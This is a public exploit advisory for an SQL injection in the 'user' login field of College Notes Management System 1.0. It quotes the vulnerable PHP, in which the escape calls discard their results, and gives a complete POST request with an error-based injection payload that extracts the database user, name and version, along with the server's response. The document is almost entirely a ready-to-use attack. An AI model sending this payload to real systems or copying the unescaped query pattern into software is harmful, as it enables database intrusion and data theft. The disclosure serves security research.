College Notes Management System 1.0 SQL Injection

`# Exploit Title: College Notes Management System 1.0 - 'user' SQL Injection  
# Dork: N/A  
# Date: 2018-10-15  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://anirbandutta.ml/  
# Software Link: https://sourceforge.net/projects/college-notes-management/  
# Software Link: https://github.com/anirbandutta9/College-Notes-Gallery  
# git clone https://git.code.sf.net/p/college-notes-management/code college-notes-management-code  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://192.168.1.27/[PATH]/login.php  
# login.php  
# ......  
# if (isset($_POST['login'])) {  
# $username = $_POST['user'];  
# $password = $_POST['pass'];  
# mysqli_real_escape_string($conn, $username);  
# mysqli_real_escape_string($conn, $password);  
# $query = "SELECT * FROM users WHERE username = '$username'";  
# $result = mysqli_query($conn , $query) or die (mysqli_error($conn));  
# if (mysqli_num_rows($result) > 0) {  
# while ($row = mysqli_fetch_array($result)) {  
# $id = $row['id'];  
# $user = $row['username'];  
# $pass = $row['password'];  
# $name = $row['name'];  
# ......  
  
POST /[PATH]/login.php HTTP/1.1  
Host: 192.168.1.27  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 240  
user='%20aND%20(SeleCT%207804%20FroM(SeleCT%20COUNT(*),ConCaT((SeleCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20,usER(),DaTaBaSE(),VERSIon()),FloOR(RaND(0)*2))x%20FroM%20INFORMaTIon_SCHEMa.PLugINS%20GroUP%20BY%20x)a)--%20Efe&pass=&login=login  
HTTP/1.1 200 OK  
Date: Sat, 15 Oct 2018 00:51:03 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Set-Cookie: PHPSESSID=b6mgibtddijtde10ti6umf9kc5; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 1843  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
`